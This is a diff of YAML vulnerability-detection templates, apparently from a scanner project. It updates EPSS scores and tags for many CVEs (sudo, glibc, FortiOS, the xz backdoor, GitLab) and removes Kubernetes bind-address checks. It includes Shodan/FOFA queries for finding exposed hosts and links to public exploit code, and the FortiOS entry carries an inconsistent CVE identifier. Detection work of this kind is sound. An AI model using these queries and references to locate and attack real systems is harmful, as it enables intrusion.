kubectl get pods -n kube-system -l component=kube-controller-manager -o jsonpath="{.items[*].spec.containers[*].command}"
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- 'kube-controller-manager'
|
||||
|
||||
- type: word
|
||||
words:
|
||||
- "--bind-address=127.0.0.1"
|
||||
- "--bind-address=::1"
|
||||
negative: true
|
||||
|
||||
extractors:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- '"kube-controller-manager configuration is missing --bind-address or set to unsafe value (expected: 127.0.0.1 or ::1)"'
|
||||
# digest: 490a0046304402202913db41a43350176fa630504391e5399d252294710b1bad1c50cd162a8defcb02205cb4ec1d6e05dd2b5fa493bf0668f0c0bf4fa5f521759e4f84f95927e4e465d9:922c64590222798bb761d5b6d8e72950
|
||||
@@ -1,49 +0,0 @@
|
||||
id: k8s-scheduler-bind-address
|
||||
|
||||
info:
|
||||
name: Ensure kube-scheduler --bind-address is set to localhost
|
||||
author: songyaeji
|
||||
severity: high
|
||||
description: |
|
||||
Ensure kube-scheduler is bound to localhost (127.0.0.1 or ::1). If --bind-address is missing or set to
|
||||
0.0.0.0 (::), the scheduler API may be reachable from all network interfaces, increasing exposure of the
|
||||
control-plane component.
|
||||
impact: |
|
||||
If the kube-scheduler listens on all interfaces, an attacker with network access may be able to interact
|
||||
with the scheduler API, causing potential information leakage or enabling further attacks against the cluster.
|
||||
remediation: |
|
||||
Set --bind-address=127.0.0.1 (or ::1) in the kube-scheduler startup arguments. For example, edit
|
||||
/etc/kubernetes/manifests/kube-scheduler.yaml and add the argument to the command section.
|
||||
reference:
|
||||
- https://kubernetes.io/docs/reference/command-line-tools-reference/kube-scheduler/
|
||||
- Cloud Vulnerability Assessment Guide(2024) by KISA
|
||||
tags: cloud,devops,kubernetes,devsecops,kube-scheduler,bind-address,hardening,k8s,k8s-cluster-security
|
||||
|
||||
variables:
|
||||
component: "kube-scheduler"
|
||||
|
||||
self-contained: true
|
||||
code:
|
||||
- engine:
|
||||
- sh
|
||||
- bash
|
||||
source: |
|
||||
kubectl get pods -n kube-system -l component=kube-scheduler -o jsonpath="{.items[*].spec.containers[*].command}"
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- 'kube-scheduler'
|
||||
|
||||
- type: word
|
||||
words:
|
||||
- "--bind-address=127.0.0.1"
|
||||
- "--bind-address=::1"
|
||||
negative: true
|
||||
|
||||
extractors:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- '"kube-scheduler configuration is missing --bind-address or set to unsafe value (expected: 127.0.0.1 or ::1)"'
|
||||
# digest: 490a00463044022006a49804407d0d9b937760383c56604a16a549d8c45cb57b0ee1f8868b9e80c002204a7fb3c2364c55968c93e78151ce7a23232c10360bd6ffdc4ccd3c0c8aede23e:922c64590222798bb761d5b6d8e72950
|
||||
@@ -11,9 +11,9 @@ info:
|
||||
metadata:
|
||||
verified: true
|
||||
classification:
|
||||
epss-score: 0.94464
|
||||
epss-percentile: 0.99994
|
||||
tags: cve,cve2014,openssl,heartbleed,code,kev,vkev,vuln
|
||||
epss-score: 0.94436
|
||||
epss-percentile: 0.99986
|
||||
tags: cve,cve2014,openssl,heartbleed,code,kev
|
||||
|
||||
variables:
|
||||
url: "{{RootURL}}"
|
||||
@@ -138,4 +138,4 @@ code:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- "contains(response,'server is vulnerable')"
|
||||
# digest: 490a00463044021f08730bdd93c1e5d349e30aba9d6e49708554854c599f6b69e570663e6937f6022100f69bf373b4572851d2943c9ac6e1c502ea41197277abaa4d58ab5c147bafcac9:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4a0a00473045022045af2038247961fb5b14c19d8bb72374aff33f6abffa1053838bf74e8ec2664b022100b728939fd652a8faa3a89769edd07a1dd8d858df326778c204e6abdba96b5c1a:922c64590222798bb761d5b6d8e72950
|
||||
@@ -15,8 +15,8 @@ info:
|
||||
cvss-score: 9.8
|
||||
cve-id: CVE-2017-1000353
|
||||
cwe-id: CWE-502
|
||||
epss-score: 0.94475
|
||||
epss-percentile: 0.99998
|
||||
epss-score: 0.94419
|
||||
epss-percentile: 0.99979
|
||||
cpe: cpe:2.3:a:jenkins:jenkins:*:*:*:*:*:*:*:*
|
||||
metadata:
|
||||
vendor: jenkins
|
||||
@@ -27,7 +27,7 @@ info:
|
||||
- product:"jenkins"
|
||||
- x-jenkins
|
||||
fofa-query: icon_hash=81586312
|
||||
tags: cve,cve2017,jenkins,rce,vkev,kev,vuln
|
||||
tags: cve,cve2017,jenkins,rce
|
||||
|
||||
variables:
|
||||
OAST: "{{interactsh-url}}"
|
||||
@@ -104,4 +104,4 @@ code:
|
||||
dsl:
|
||||
- 'contains(interactsh_protocol, "dns")'
|
||||
condition: and
|
||||
# digest: 4a0a00473045022100e1496aea12dd7d8360ca428f1b5f8aaac521642504593625cfdd6fdd50554b6302200cc16c1df502a88f9ce58860fc3a8b491e6c9a4ff33b180a61d215280b97e9b9:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4a0a004730450220263f2287dbb0158286c85d46f2a1637a443d821fb9dd0e683060d565654183c4022100e0c3e01d1ae396203308a33adb78c54b24760737c3fb4a224d51d3a9afd82192:922c64590222798bb761d5b6d8e72950
|
||||
@@ -17,14 +17,14 @@ info:
|
||||
cvss-score: 9.8
|
||||
cve-id: CVE-2019-0604
|
||||
cwe-id: CWE-20
|
||||
epss-score: 0.94414
|
||||
epss-score: 0.94411
|
||||
epss-percentile: 0.99975
|
||||
metadata:
|
||||
verified: true
|
||||
vendor: microsoft
|
||||
product: sharepoint
|
||||
shodan-query: cpe:"cpe:2.3:a:microsoft:sharepoint_server"
|
||||
tags: cve,cve2019,sharepoint,microsoft,rce,kev,vkev,vuln
|
||||
tags: cve,cve2019,sharepoint,microsoft,rce,kev
|
||||
|
||||
variables:
|
||||
OAST: "{{interactsh-url}}"
|
||||
@@ -154,4 +154,4 @@ code:
|
||||
- 'contains(interactsh_protocol, "dns")'
|
||||
- 'contains(interactsh_request, hex_encode(marker))'
|
||||
condition: and
|
||||
# digest: 4b0a00483046022100e24420fdcf4de91d370c7aad1109a0b9e12c7a0a5a45977bdf9b1deab4edd5bb022100be4cf9432583500208d8282bda0b5913b0a99f46d01a4dcf9bd8cf0cb766a523:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4a0a00473045022100df684445466bb9439cba258cce0a1a80392f032ecb3e0ad50766aaf73d4b01dd02206215e142ca504c23bf2d1cd3fe23cbe8a5bade3aeb368de6144a8113b4abd23d:922c64590222798bb761d5b6d8e72950
|
||||
@@ -17,15 +17,15 @@ info:
|
||||
cvss-score: 8.8
|
||||
cve-id: CVE-2019-14287
|
||||
cwe-id: CWE-755
|
||||
epss-score: 0.86126
|
||||
epss-percentile: 0.99353
|
||||
epss-score: 0.84563
|
||||
epss-percentile: 0.99285
|
||||
cpe: cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:*
|
||||
metadata:
|
||||
verified: true
|
||||
max-request: 2
|
||||
vendor: sudo_project
|
||||
product: sudo
|
||||
tags: packetstorm,cve,cve2019,sudo,code,linux,privesc,local,canonical,sudo_project,vuln
|
||||
tags: packetstorm,cve,cve2019,sudo,code,linux,privesc,local,canonical,sudo_project
|
||||
|
||||
self-contained: true
|
||||
code:
|
||||
@@ -47,4 +47,4 @@ code:
|
||||
- '!contains(code_1_response, "root")'
|
||||
- 'contains(code_2_response, "root")'
|
||||
condition: and
|
||||
# digest: 4b0a0048304602210085b92685b1bfd0414acb52977757bd76db71254cccdeb2fcae945c82eaf44ece02210087377f6d6c7dd561271722a2aff63533e21217b470225075ffb2e23a5087b95a:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4a0a004730450221008b128c1abf629211a165bfc17554e353451890fa9423a6396bbd0c81d901a0e802206f940480606cc839ca34dae4eef453f69a29baf7a4fa0abc330e28c1d5d7fb5d:922c64590222798bb761d5b6d8e72950
|
||||
@@ -15,8 +15,8 @@ info:
|
||||
cvss-score: 9.8
|
||||
cve-id: CVE-2020-0646
|
||||
cwe-id: CWE-91
|
||||
epss-score: 0.93865
|
||||
epss-percentile: 0.99858
|
||||
epss-score: 0.93121
|
||||
epss-percentile: 0.99783
|
||||
cpe: cpe:2.3:a:microsoft:.net_framework:3.0:sp2:*:*:*:*:*:*
|
||||
metadata:
|
||||
verified: true
|
||||
@@ -24,7 +24,7 @@ info:
|
||||
product: .net_framework
|
||||
shodan-query: 'server:"ms .net remoting"'
|
||||
max-request: 1
|
||||
tags: cve,cve2020,net-framework,sharepoint,microsoft,packetstorm,rce,kev,oast,vkev,vuln
|
||||
tags: cve,cve2020,net-framework,sharepoint,microsoft,packetstorm,rce,kev,oast
|
||||
|
||||
variables:
|
||||
OAST: "{{interactsh-url}}"
|
||||
@@ -102,4 +102,4 @@ code:
|
||||
- 'contains(content_type, "text/xml")'
|
||||
- 'status_code == 200'
|
||||
condition: and
|
||||
# digest: 490a0046304402204d77b29d042f79c530ecf6ccde43ddc5e50c3dd33fe80a2fd99dd1e903cdb139022014c72663cbad42f4b76119650e3a2e8043cd3e9e7808beb1fafc7504d41bb47a:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 490a00463044022039b21fd051ee3d99e5087c4b1ef37ebfbd8d3abf7c717021969855a08cf3ff2902203f3bcb8f09adb6748005b8ab005e0282bed3ac3e1f281064e1a4f41f5db35163:922c64590222798bb761d5b6d8e72950
|
||||
@@ -10,8 +10,8 @@ info:
|
||||
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
|
||||
cvss-score: 7.5
|
||||
cve-id: CVE-2020-13935
|
||||
epss-score: 0.92155
|
||||
epss-percentile: 0.99693
|
||||
epss-score: 0.92195
|
||||
epss-percentile: 0.99704
|
||||
reference:
|
||||
- http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00084.html
|
||||
- http://lists.opensuse.org/opensuse-security-announce/2020-07/msg00088.html
|
||||
@@ -24,7 +24,7 @@ info:
|
||||
shodan-query: html:"Apache Tomcat"
|
||||
vendor: apache
|
||||
product: tomcat
|
||||
tags: cve,cve2020,tomcat,websocket,dos,code,vuln
|
||||
tags: cve,cve2020,tomcat,websocket,dos,code
|
||||
|
||||
flow: http(1) && code(1,2) && code (3)
|
||||
|
||||
|
||||
@@ -17,14 +17,14 @@ info:
|
||||
cvss-score: 7.8
|
||||
cve-id: CVE-2021-3156
|
||||
cwe-id: CWE-193
|
||||
epss-score: 0.92235
|
||||
epss-percentile: 0.99698
|
||||
epss-score: 0.92492
|
||||
epss-percentile: 0.99726
|
||||
cpe: cpe:2.3:a:sudo_project:sudo:*:*:*:*:*:*:*:*
|
||||
metadata:
|
||||
verified: true
|
||||
vendor: sudo_project
|
||||
product: sudo
|
||||
tags: packetstorm,cve,cve2021,sudo,code,linux,privesc,local,kev,sudo_project,vkev,vuln
|
||||
tags: packetstorm,cve,cve2021,sudo,code,linux,privesc,local,kev,sudo_project
|
||||
|
||||
self-contained: true
|
||||
code:
|
||||
@@ -40,4 +40,4 @@ code:
|
||||
- "malloc(): memory corruption"
|
||||
- "Aborted (core dumped)"
|
||||
condition: and
|
||||
# digest: 4a0a00473045022100dc7c00ab176125258a61cb73cbae4a476ac3ed30e413a84da417d2ad940ba1a002205cc8a03b781e29c9c66b73f9259fa9bf87970e52b84ef2d5551672d9afba95b0:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4a0a004730450220116acc9627f4685ad779e90097e7034e251856df89fd56d03ba53837d13f0986022100fe150737937481ab215b5d0e2137cb9276d7e005bb7e92c79ce0087766cec0f8:922c64590222798bb761d5b6d8e72950
|
||||
@@ -16,27 +16,23 @@ info:
|
||||
- https://fortiguard.com/psirt/FG-IR-22-398
|
||||
- https://labs.watchtowr.com/fortinet-no-more-funny-titles-cve-2022-42475/
|
||||
- https://bishopfox.com/blog/exploit-cve-2022-42475
|
||||
- https://github.com/3yujw7njai/CVE-2022-42475-RCE-POC
|
||||
classification:
|
||||
epss-score: 0.94003
|
||||
epss-percentile: 0.99884
|
||||
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
||||
cvss-score: 9.8
|
||||
cve-id: CVE-2022-42475
|
||||
cwe-id: CWE-197,CWE-787
|
||||
epss-score: 0.9394
|
||||
epss-percentile: 0.99871
|
||||
cpe: cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
|
||||
cve-id: CVE-2024-42475
|
||||
cwe-id: CWE-122
|
||||
metadata:
|
||||
max-request: 1
|
||||
vendor: fortinet
|
||||
product: fortios
|
||||
shodan-query:
|
||||
- port:10443 http.favicon.hash:945408572
|
||||
- cpe:"cpe:2.3:o:fortinet:fortios"
|
||||
- http.html:"/remote/login" "xxxxxxxx"
|
||||
- http.favicon.hash:"945408572"
|
||||
fofa-query:
|
||||
- body="/remote/login" "xxxxxxxx"
|
||||
- icon_hash="945408572"
|
||||
tags: cve,cve2024,ssl-vpn,vpn,fortios,fortigate,heap-based,bufferoverflow,kev,vkev,vuln
|
||||
tags: cve,cve2024,ssl-vpn,vpn,fortios,fortigate,heap-based,bufferoverflow,kev
|
||||
|
||||
flow: http () && code()
|
||||
|
||||
http:
|
||||
@@ -197,4 +193,4 @@ code:
|
||||
- type: word
|
||||
words:
|
||||
- "Target appears to be VULNERABLE"
|
||||
# digest: 4a0a00473045022100d2af2dfdaec0bb3603e11ee21cae5d8d463d064346c4fd33dafd0d54c73937b9022074421a7c25d5e18222da9a0a70b404a14a17cfa85f01a7480285ea8fa9f9a5dc:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 480a00453043022029dd9e06fa2d975b1faaf83d7006d7020dc94c01b8d7afa8da1ce7e726e8eb69021f33f0b758cd4c9982305f18c1e19087b601e1119d8e0c7647aa8567d6dacf9b:922c64590222798bb761d5b6d8e72950
|
||||
@@ -21,8 +21,8 @@ info:
|
||||
cvss-score: 7.8
|
||||
cve-id: CVE-2023-2640
|
||||
cwe-id: CWE-863
|
||||
epss-score: 0.91874
|
||||
epss-percentile: 0.99672
|
||||
epss-score: 0.92037
|
||||
epss-percentile: 0.99695
|
||||
cpe: cpe:2.3:o:canonical:ubuntu_linux:23.04:*:*:*:*:*:*:*
|
||||
metadata:
|
||||
verified: true
|
||||
@@ -30,7 +30,7 @@ info:
|
||||
vendor: canonical
|
||||
product: ubuntu_linux
|
||||
shodan-query: cpe:"cpe:2.3:o:canonical:ubuntu_linux"
|
||||
tags: cve,cve2023,code,packetstorm,kernel,ubuntu,linux,privesc,local,canonical,vkev,vuln
|
||||
tags: cve,cve2023,code,packetstorm,kernel,ubuntu,linux,privesc,local,canonical
|
||||
|
||||
self-contained: true
|
||||
code:
|
||||
@@ -55,4 +55,4 @@ code:
|
||||
- '!contains(code_1_response, "(root)")'
|
||||
- 'contains(code_2_response, "(root)")'
|
||||
condition: and
|
||||
# digest: 4a0a0047304502205661bfabdeec84cdb0d8cd85f400fdde90013e98f28947af2016ba03a7e95e270221008b847b21e9f65244e274e61e784ce5be03d3c313f744589eca2d93de00634b6b:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4a0a00473045022025723ab91e420641cfe800cf358b555be4dfe1a95e19f497622513d576e1a18602210099c619aeaa31b5a42bfa1bf2435e943539edb17a8bb63d628639876b14b1dd0b:922c64590222798bb761d5b6d8e72950
|
||||
@@ -16,8 +16,8 @@ info:
|
||||
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
||||
cvss-score: 9.8
|
||||
cve-id: CVE-2023-2986
|
||||
epss-score: 0.91769
|
||||
epss-percentile: 0.99663
|
||||
epss-score: 0.91813
|
||||
epss-percentile: 0.99679
|
||||
cpe: cpe:2.3:a:tychesoftwares:abandoned_cart_lite_for_woocommerce:*:*:*:*:*:wordpress:*:*
|
||||
metadata:
|
||||
verified: true
|
||||
@@ -25,7 +25,7 @@ info:
|
||||
product: abandoned_cart_lite_for_woocommerce
|
||||
framework: wordpress
|
||||
fofa-query: body="/wp-content/plugins/woocommerce-abandoned-cart/"
|
||||
tags: cve,cve2023,wordpress,woocommerce,wp-plugin,auth-bypass,woocommerce-abandoned-cart,vkev,vuln
|
||||
tags: cve,cve2023,wordpress,woocommerce,wp-plugin,auth-bypass,woocommerce-abandoned-cart
|
||||
code:
|
||||
- engine:
|
||||
- php
|
||||
@@ -626,4 +626,4 @@ http:
|
||||
- type: status
|
||||
status:
|
||||
- 302
|
||||
# digest: 4a0a0047304502203fd36f070fb1283f5714fcdd0abf3b8f840a3a849d12a42a98aaef8a4a7b92e4022100e43e4a9d7aabf92eac650ef4ccc0165fc0c166a1f68e60690329b93738a4ba32:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4a0a00473045022100c7b97b5b190f4a227f3ba95fb469d1a90fecdc553b3bc749f46048cab15369a4022029d5f8c561ddab25265e0ac4603a7d4f07207be07f6b597dffcd75e91c9e4b8a:922c64590222798bb761d5b6d8e72950
|
||||
@@ -18,7 +18,7 @@ info:
|
||||
cve-id: CVE-2023-49105
|
||||
cwe-id: CWE-287
|
||||
epss-score: 0.86244
|
||||
epss-percentile: 0.99356
|
||||
epss-percentile: 0.99363
|
||||
cpe: cpe:2.3:a:owncloud:owncloud:*:*:*:*:*:*:*:*
|
||||
metadata:
|
||||
max-request: 2
|
||||
@@ -29,7 +29,7 @@ info:
|
||||
- http.title:"owncloud"
|
||||
fofa-query: title="owncloud"
|
||||
google-query: intitle:"owncloud"
|
||||
tags: cve,cve2023,code,owncloud,auth-bypass,vuln
|
||||
tags: cve,cve2023,code,owncloud,auth-bypass
|
||||
variables:
|
||||
username: admin
|
||||
|
||||
@@ -90,4 +90,4 @@ http:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- '"Username => "+ username'
|
||||
# digest: 490a0046304402204f476545141ffc0526b4e3c7c6d59d2ac7b6bd6737263b3e5c43382c39b3488e0220343b85850dbe3d9c50b8b098109edcfa85d2743f605d6aadc13d6e49d0f72ad1:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4a0a00473045022100a76555f438b008bc12ecb6024092a25b25e9a308bc3e4f3fc56bcf2c454ba81d022024edaf7f5addf5603c20a78c58b486fab09131be6ee017f678f5b626eb4c1bea:922c64590222798bb761d5b6d8e72950
|
||||
@@ -17,14 +17,14 @@ info:
|
||||
cvss-score: 7.8
|
||||
cve-id: CVE-2023-4911
|
||||
cwe-id: CWE-787,CWE-122
|
||||
epss-score: 0.69791
|
||||
epss-percentile: 0.98589
|
||||
epss-score: 0.74116
|
||||
epss-percentile: 0.98791
|
||||
cpe: cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
|
||||
metadata:
|
||||
max-request: 1
|
||||
vendor: gnu
|
||||
product: glibc
|
||||
tags: cve,cve2023,code,glibc,looneytunables,linux,privesc,local,kev,gnu,vkev,vuln
|
||||
tags: cve,cve2023,code,glibc,looneytunables,linux,privesc,local,kev,gnu
|
||||
|
||||
self-contained: true
|
||||
code:
|
||||
@@ -39,4 +39,4 @@ code:
|
||||
- type: word
|
||||
words:
|
||||
- "139" # Segmentation Fault Exit Code
|
||||
# digest: 490a004630440220155082bb6a73ee722b38f8b1f4ac2aaeda267a117bfb52938ee665784a056c1502203d4e1504fa39a81de29581207a6bb7106978be9db76534a48024d146a3bfcffe:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 490a00463044022040a81ac2ad959d217857499ca5396b31db4906f82ffd9773e2b3e8bc9c5ec2dd02200bb9811d32aee0b5be5586f698e40c9a553cc8942a956ad6620aa1afa22b97a0:922c64590222798bb761d5b6d8e72950
|
||||
@@ -17,14 +17,14 @@ info:
|
||||
cvss-score: 7.8
|
||||
cve-id: CVE-2023-6246
|
||||
cwe-id: CWE-787,CWE-122
|
||||
epss-score: 0.31786
|
||||
epss-percentile: 0.96608
|
||||
epss-score: 0.28497
|
||||
epss-percentile: 0.96359
|
||||
cpe: cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
|
||||
metadata:
|
||||
max-request: 1
|
||||
vendor: gnu
|
||||
product: glibc
|
||||
tags: cve,cve2023,code,glibc,linux,privesc,local,gnu,vuln
|
||||
tags: cve,cve2023,code,glibc,linux,privesc,local,gnu
|
||||
|
||||
self-contained: true
|
||||
code:
|
||||
@@ -39,4 +39,4 @@ code:
|
||||
- type: word
|
||||
words:
|
||||
- "127" # Segmentation Fault Exit Code
|
||||
# digest: 4a0a00473045022100bbfa15e8bdc2aa5d8a417f4883e5780d372254d1125a52d1ab0a1ce0e5c8c0aa022031ec4301016dbe92d6cead98440bd7d15786aa40f1005a386e0f4337fcd3f8a4:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4a0a004730450221008606d63c53171bb4266b93da6ab0fc4583ad60904d417d009aac578c4961a28502206c7784a82d5f5c5de9bac0d341f1175edbfe2ae5724b2263428e88c14fbc2018:922c64590222798bb761d5b6d8e72950
|
||||
@@ -13,8 +13,8 @@ info:
|
||||
cvss-score: 9.8
|
||||
cve-id: CVE-2024-10443
|
||||
cwe-id: CWE-77
|
||||
epss-score: 0.67268
|
||||
epss-percentile: 0.98481
|
||||
epss-score: 0.69894
|
||||
epss-percentile: 0.98618
|
||||
cpe: cpe:2.3:a:synology:photos:*:*:*:*:*:diskstation_manager:*:*
|
||||
metadata:
|
||||
verified: true
|
||||
@@ -23,7 +23,7 @@ info:
|
||||
product: photos
|
||||
framework: diskstation_manager
|
||||
shodan-query: html:"BeeStation"
|
||||
tags: unauth,synology,rce,websocket,diskstation,vuln
|
||||
tags: unauth,synology,rce,websocket,diskstation
|
||||
|
||||
variables:
|
||||
OAST: "{{interactsh-url}}"
|
||||
@@ -54,4 +54,4 @@ code:
|
||||
part: interactsh_protocol # Confirms the HTTP Interaction
|
||||
words:
|
||||
- "dns"
|
||||
# digest: 4a0a00473045022100909ec94556f8b16006475d760a1911e4a59beaec4a369f95fc71646b6c5567ad02205284d000fddabfb0eb4d3e53c789faa351c731ea5b3d2a7cca511d89992eda52:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4a0a004730450220511e571db5d5da0bfa64140844ecb6b6a8c8d34c619b653100ae31e91ec729d2022100891722957d284e2a9169c66964f54e9698a5a42d2c990314f0bc57f7b029e35c:922c64590222798bb761d5b6d8e72950
|
||||
@@ -14,13 +14,13 @@ info:
|
||||
cve-id: CVE-2024-12356
|
||||
cwe-id: CWE-77
|
||||
epss-score: 0.93687
|
||||
epss-percentile: 0.99832
|
||||
epss-percentile: 0.99841
|
||||
cpe: cpe:2.3:a:beyondtrust:privileged_remote_access:*:*:*:*:*:*:*:*
|
||||
metadata:
|
||||
vendor: beyondtrust
|
||||
product: privileged_remote_access
|
||||
verified: true
|
||||
tags: cve,cve2024,beyondtrust,rce,remote-support,privileged-remote-access,kev,vkev,vuln
|
||||
tags: cve,cve2024,beyondtrust,rce,remote-support,privileged-remote-access,kev
|
||||
|
||||
code:
|
||||
- engine:
|
||||
@@ -37,4 +37,4 @@ code:
|
||||
words:
|
||||
- "0 success"
|
||||
- "1 try again later"
|
||||
# digest: 490a0046304402203d3277e020269d68bc7d538db1582bcc38a518efac4aa57697c30a93f828480502201fbb50e3cd29574a62e3d81ce632e07c322ee30feaa1a14eda3a4ec028a4cf53:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4a0a0047304502200b37b3f73826455d516931c5296dbaba91036d7e80ba5f11e544fea8dc775a75022100c8bbd7a40f951edf1629235401f4da2be665590e74464519de65ad0b42b7e049:922c64590222798bb761d5b6d8e72950
|
||||
@@ -19,8 +19,8 @@ info:
|
||||
cvss-score: 9.1
|
||||
cve-id: CVE-2024-22120
|
||||
cwe-id: CWE-20
|
||||
epss-score: 0.93259
|
||||
epss-percentile: 0.99791
|
||||
epss-score: 0.93596
|
||||
epss-percentile: 0.99832
|
||||
metadata:
|
||||
max-request: 1
|
||||
vendor: zabbix
|
||||
@@ -34,7 +34,7 @@ info:
|
||||
- app="zabbix-监控系统" && body="saml"
|
||||
- title="zabbix-server"
|
||||
google-query: intitle:"zabbix-server"
|
||||
tags: cve,cve2024,authenticated,zabbix,sqli,vkev,vuln
|
||||
tags: cve,cve2024,authenticated,zabbix,sqli
|
||||
variables:
|
||||
HOST: "{{Host}}"
|
||||
PORT: "{{Port}}"
|
||||
@@ -71,4 +71,4 @@ code:
|
||||
- type: word
|
||||
words:
|
||||
- "Vulnerable to CVE-2024-22120"
|
||||
# digest: 4a0a00473045022100f252e3b49ae5db52b7618d5c2654208aae47358ef7dfec34ac50e4281eebd4c60220695276f5ed29947a82f3afa67e1066d5cb2e66272589168d633e2f54898866c5:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 490a00463044022025c92476c4be0039721b139dbeb6c79092139443c438dad448cfd2f05da0a5ca02207927404826fa7d6f8f7cf05ced1e423628fde86c290bb4e4ebed907d0d3cf355:922c64590222798bb761d5b6d8e72950
|
||||
@@ -17,14 +17,14 @@ info:
|
||||
cvss-score: 10
|
||||
cve-id: CVE-2024-3094
|
||||
cwe-id: CWE-506
|
||||
epss-score: 0.85778
|
||||
epss-percentile: 0.99331
|
||||
epss-score: 0.86323
|
||||
epss-percentile: 0.99365
|
||||
cpe: cpe:2.3:a:tukaani:xz:5.6.0:*:*:*:*:*:*:*
|
||||
metadata:
|
||||
verified: true
|
||||
vendor: tukaani
|
||||
product: xz
|
||||
tags: cve,cve2024,local,code,xz,backdoor,tukaani,vuln
|
||||
tags: cve,cve2024,local,code,xz,backdoor,tukaani
|
||||
|
||||
self-contained: true
|
||||
code:
|
||||
@@ -59,4 +59,4 @@ code:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- response
|
||||
# digest: 4a0a00473045022100c10d938a67c70489ce2f679b3c1edca76f59c9b76b8a14973cbcae39272043880220412432fb30cc1ab6715bbd68ddd11c36c56c55e2ad736a047b6c25ea8368eeef:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 490a00463044022054bcebe277e8065f26d05e4687e0113cd9c46eef4470b33f48b3b85182501174022058d4832af02dede606b68af5ab70c68e320e59f848f1267fedc59b33e107a153:922c64590222798bb761d5b6d8e72950
|
||||
@@ -10,11 +10,11 @@ info:
|
||||
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
|
||||
cvss-score: 7.5
|
||||
cve-id: CVE-2024-4340
|
||||
epss-score: 0.16207
|
||||
epss-percentile: 0.94547
|
||||
epss-score: 0.14988
|
||||
epss-percentile: 0.94309
|
||||
reference:
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2024-4340
|
||||
tags: cve,cve2024,py,code,dos,python,sqlparse,vuln
|
||||
tags: cve,cve2024,py,code,dos,python,sqlparse
|
||||
|
||||
self-contained: true
|
||||
code:
|
||||
@@ -29,4 +29,4 @@ code:
|
||||
part: stderr
|
||||
words:
|
||||
- "RecursionError: maximum recursion depth exceeded"
|
||||
# digest: 4b0a00483046022100c7f17dda36dcd616b5419e65c76face4811aeaabe0f0c266184084bf4f740213022100c459e7c71c25eaa6857cdb4049688a744fb1bea9c6a1ce5d606876a43856b116:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 490a00463044022010cd9dec2c2f5a4f513eaf53570dd6513cf08d09979d41d32b49211a6fe5b60b02203230b721411a32da2f015e0b83e0fb145918b6b78c49596085864836980079dd:922c64590222798bb761d5b6d8e72950
|
||||
@@ -20,14 +20,14 @@ info:
|
||||
cvss-score: 9.8
|
||||
cve-id: CVE-2024-45409
|
||||
cwe-id: CWE-347
|
||||
epss-score: 0.39163
|
||||
epss-percentile: 0.97104
|
||||
epss-score: 0.12641
|
||||
epss-percentile: 0.93722
|
||||
metadata:
|
||||
verified: true
|
||||
shodan-query: http.title:"GitLab"
|
||||
product: gitlab
|
||||
vendor: gitlab
|
||||
tags: cve,cve2024,saml,auth-bypass,gitlab,code,vkev,vuln
|
||||
tags: cve,cve2024,saml,auth-bypass,gitlab,code
|
||||
|
||||
code:
|
||||
- engine:
|
||||
@@ -123,4 +123,4 @@ http:
|
||||
- type: kval
|
||||
kval:
|
||||
- _gitlab_session
|
||||
# digest: 490a0046304402206573dca524aa5cb319dd62380214248d589aa9ea1c2d02f5083ca86e42f3c1160220179f3510f9283e936ad657ac7fe721c1529a1ccf0837bcaca791b576ba073a05:922c64590222798bb761d5b6d8e72950
|
||||
# digest: 4a0a0047304502205b6a373f684794c595a464c5e4b1532ed92e5e1c2dcb288736858f47fc0621b40221008df0d7f7978e3dff3720ed519882bc16f2e0d3344c4543c14f075b3fd73d9ddf:922c64590222798bb761d5b6d8e72950
|
||||
@@ -1,148 +0,0 @@
|
||||
id: CVE-2024-47575
|
||||
|
||||
info:
|
||||
name: FortiManager Unauthenticated Remote Code Execution
|
||||
author: 0x_Akoko,pussycat0x,watchTowr
|
||||
severity: critical
|
||||
description: |
|
||||
A missing authentication vulnerability in Fortinet FortiManager allows a remote unauthenticated attacker to execute arbitrary code or commands via specially crafted requests to the fgfmd daemon. This vulnerability affects FortiManager versions 7.6.0, 7.4.0 through 7.4.4, 7.2.0 through 7.2.7, 7.0.0 through 7.0.12, 6.4.0 through 6.4.14, 6.2.0 through 6.2.12, and all versions of 6.0.
|
||||
remediation: |
|
||||
Update FortiManager to version 7.6.1 or later, 7.4.5 or later, 7.2.8 or later, 7.0.13 or later, or 6.4.15 or later.
|
||||
reference:
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2024-47575
|
||||
- https://github.com/watchtowrlabs/Fortijump-Exploit-CVE-2024-47575
|
||||
- https://fortiguard.fortinet.com/psirt/FG-IR-24-423
|
||||
